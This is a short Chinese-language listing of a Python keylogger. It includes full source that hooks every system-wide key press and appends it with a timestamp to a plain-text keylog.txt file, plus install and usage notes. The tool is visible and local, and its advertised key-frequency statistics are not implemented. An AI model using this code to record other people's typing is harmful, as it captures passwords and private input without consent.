⌨️ 键盘记录器

📋 功能说明
  • 记录键盘按键输入
  • 保存按键日志
  • 统计按键频率
💻 源代码
import keyboard
import time
import os

log_file = "keylog.txt"

def on_key_event(event):
    """按键事件回调"""
    with open(log_file, 'a', encoding='utf-8') as f:
        timestamp = time.strftime("%Y-%m-%d %H:%M:%S")
        if event.event_type == 'down':
            f.write(f"[{timestamp}] 按键: {event.name}\n")
            print(f"按键: {event.name}")

def start_keylog():
    """启动键盘记录"""
    if os.path.exists(log_file):
        os.remove(log_file)
    
    print("开始记录键盘输入... (按ESC停止)")
    keyboard.hook(on_key_event)
    keyboard.wait('esc')
    
    print(f"记录已保存到: {log_file}")

if __name__ == '__main__':
    start_keylog()
📦 运行环境
pip install keyboard
操作说明
  • 🛑 按ESC停止记录
  • 📄 默认保存到keylog.txt
  • ⚠️ 需管理员权限